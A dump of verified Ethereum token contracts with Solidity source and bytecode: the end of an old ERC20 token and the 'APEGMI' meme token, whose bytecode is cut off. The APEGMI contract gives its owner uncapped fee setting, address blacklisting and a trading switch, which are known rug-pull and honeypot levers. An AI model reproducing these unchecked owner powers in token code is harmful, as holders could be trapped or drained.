* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SkrumbleCandyToken is StandardToken {
string public name = "Skrumble Candy Token";
string public symbol = "SKM-CDY";
uint8 public decimals = 18;
/**
* @dev Constructor, takes intial Token.
*/
function SkrumbleCandyToken() public {
totalSupply_ = 3000000 * 1 ether;
balances[msg.sender] = totalSupply_;
}
/**
* @dev Batch transfer some tokens to some addresses, address and value is one-on-one.
* @param _dests Array of addresses
* @param _values Array of transfer tokens number
*/
function batchTransfer(address[] _dests, uint256[] _values) public {
require(_dests.length == _values.length);
uint256 i = 0;
while (i < _dests.length) {
transfer(_dests[i], _values[i]);
i += 1;
}
}
/**
* @dev Batch transfer equal tokens amout to some addresses
* @param _dests Array of addresses
* @param _value Number of transfer tokens amount
*/
function batchTransferSingleValue(address[] _dests, uint256 _value) public {
uint256 i = 0;
while (i < _dests.length) {
transfer(_dests[i], _value);
i += 1;
}
}
} | 0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae578063313ce567146101d657806366188463146101ff57806370a082311461022157806388d695b2146102405780638fa1ae05146102d157806395d89b4114610322578063a9059cbb14610335578063d73dd62314610357578063dd62ed3e14610379575b600080fd5b34156100d457600080fd5b6100dc61039e565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a036004351660243561043c565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6104a8565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356104ae565b34156101e157600080fd5b6101e961062e565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b610175600160a060020a0360043516602435610637565b341561022c57600080fd5b61019c600160a060020a0360043516610731565b341561024b57600080fd5b6102cf60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061074c95505050505050565b005b34156102dc57600080fd5b6102cf600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506107ab92505050565b341561032d57600080fd5b6100dc6107df565b341561034057600080fd5b610175600160a060020a036004351660243561084a565b341561036257600080fd5b610175600160a060020a036004351660243561095c565b341561038457600080fd5b61019c600160a060020a0360043581169060243516610a00565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104345780601f1061040957610100808354040283529160200191610434565b820191906000526020600020905b81548152906001019060200180831161041757829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a03831615156104c557600080fd5b600160a060020a0384166000908152602081905260409020548211156104ea57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561051d57600080fd5b600160a060020a038416600090815260208190526040902054610546908363ffffffff610a2b16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461057b908363ffffffff610a3d16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105c1908363ffffffff610a2b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60055460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069457600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106cb565b6106a4818463ffffffff610a2b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6000815183511461075c57600080fd5b5060005b82518110156107a65761079d83828151811061077857fe5b9060200190602002015183838151811061078e57fe5b9060200190602002015161084a565b50600101610760565b505050565b60005b82518110156107a6576107d68382815181106107c657fe5b906020019060200201518361084a565b506001016107ae565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104345780601f1061040957610100808354040283529160200191610434565b6000600160a060020a038316151561086157600080fd5b600160a060020a03331660009081526020819052604090205482111561088657600080fd5b600160a060020a0333166000908152602081905260409020546108af908363ffffffff610a2b16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546108e4908363ffffffff610a3d16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610994908363ffffffff610a3d16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610a3757fe5b50900390565b600082820183811015610a4c57fe5b93925050505600a165627a7a7230582024e639f9833c8209b754bbd6a3b1ce87b9803b9becd8fc0a75b1a7929adcc1d20029 | {"success": true, "error": null, "results": {}} | 360 |
0x66f8d711bd3fbffc12f63756b3bb3d6d09c3587a | /**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
/*
Telegram: https://t.me/apegmiportal
Website : https://apegmi.com/
░█████╗░██████╗░███████╗░██████╗░███╗░░░███╗██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝░████╗░████║██║
███████║██████╔╝█████╗░░██║░░██╗░██╔████╔██║██║
██╔══██║██╔═══╝░██╔══╝░░██║░░╚██╗██║╚██╔╝██║██║
██║░░██║██║░░░░░███████╗╚██████╔╝██║░╚═╝░██║██║
╚═╝░░╚═╝╚═╝░░░░░╚══════╝░╚═════╝░╚═╝░░░░░╚═╝╚═╝
Apes gonna make it
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract apegmicontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Apes gonna make it";
string private constant _symbol = "APEGMI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x69533205e31417BC506778Da274ed1Eb1F348Bd9);
address payable private _marketingAddress = payable(0x69533205e31417BC506778Da274ed1Eb1F348Bd9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055f578063dd62ed3e1461057f578063ea1644d5146105c5578063f2fde38b146105e557600080fd5b8063a2a957bb146104da578063a9059cbb146104fa578063bfd792841461051a578063c3c8cd801461054a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104555780638f9a55c01461047557806395d89b411461048b57806398a5c315146104ba57600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638da5cb5b1461043757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611969565b610605565b005b34801561020a57600080fd5b50604080518082019091526012815271105c195cc819dbdb9b98481b585ad9481a5d60721b60208201525b6040516102429190611a2e565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a83565b6106a4565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50670de0b6b3a76400005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611aaf565b6106bb565b34801561030457600080fd5b506102ca60185481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060155461029b906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611af0565b610724565b34801561037657600080fd5b506101fc610385366004611b1d565b61076f565b34801561039657600080fd5b506101fc6107b7565b3480156103ab57600080fd5b506102ca6103ba366004611af0565b610802565b3480156103cb57600080fd5b506101fc610824565b3480156103e057600080fd5b506101fc6103ef366004611b38565b610898565b34801561040057600080fd5b506102ca60165481565b34801561041657600080fd5b506102ca610425366004611af0565b60116020526000908152604090205481565b34801561044357600080fd5b506000546001600160a01b031661029b565b34801561046157600080fd5b506101fc610470366004611b1d565b6108c7565b34801561048157600080fd5b506102ca60175481565b34801561049757600080fd5b50604080518082019091526006815265415045474d4960d01b6020820152610235565b3480156104c657600080fd5b506101fc6104d5366004611b38565b61090f565b3480156104e657600080fd5b506101fc6104f5366004611b51565b61093e565b34801561050657600080fd5b5061026b610515366004611a83565b61097c565b34801561052657600080fd5b5061026b610535366004611af0565b60106020526000908152604090205460ff1681565b34801561055657600080fd5b506101fc610989565b34801561056b57600080fd5b506101fc61057a366004611b83565b6109dd565b34801561058b57600080fd5b506102ca61059a366004611c07565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d157600080fd5b506101fc6105e0366004611b38565b610a7e565b3480156105f157600080fd5b506101fc610600366004611af0565b610aad565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161062f90611c40565b60405180910390fd5b60005b81518110156106a05760016010600084848151811061065c5761065c611c75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069881611ca1565b91505061063b565b5050565b60006106b1338484610b97565b5060015b92915050565b60006106c8848484610cbb565b61071a843361071585604051806060016040528060288152602001611dbb602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f7565b610b97565b5060019392505050565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161062f90611c40565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107995760405162461bcd60e51b815260040161062f90611c40565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ec57506013546001600160a01b0316336001600160a01b0316145b6107f557600080fd5b476107ff81611231565b50565b6001600160a01b0381166000908152600260205260408120546106b59061126b565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161062f90611c40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b815260040161062f90611c40565b601655565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161062f90611c40565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109395760405162461bcd60e51b815260040161062f90611c40565b601855565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161062f90611c40565b600893909355600a91909155600955600b55565b60006106b1338484610cbb565b6012546001600160a01b0316336001600160a01b031614806109be57506013546001600160a01b0316336001600160a01b0316145b6109c757600080fd5b60006109d230610802565b90506107ff816112ef565b6000546001600160a01b03163314610a075760405162461bcd60e51b815260040161062f90611c40565b60005b82811015610a78578160056000868685818110610a2957610a29611c75565b9050602002016020810190610a3e9190611af0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7081611ca1565b915050610a0a565b50505050565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161062f90611c40565b601755565b6000546001600160a01b03163314610ad75760405162461bcd60e51b815260040161062f90611c40565b6001600160a01b038116610b3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062f565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062f565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f20616464726044820152626573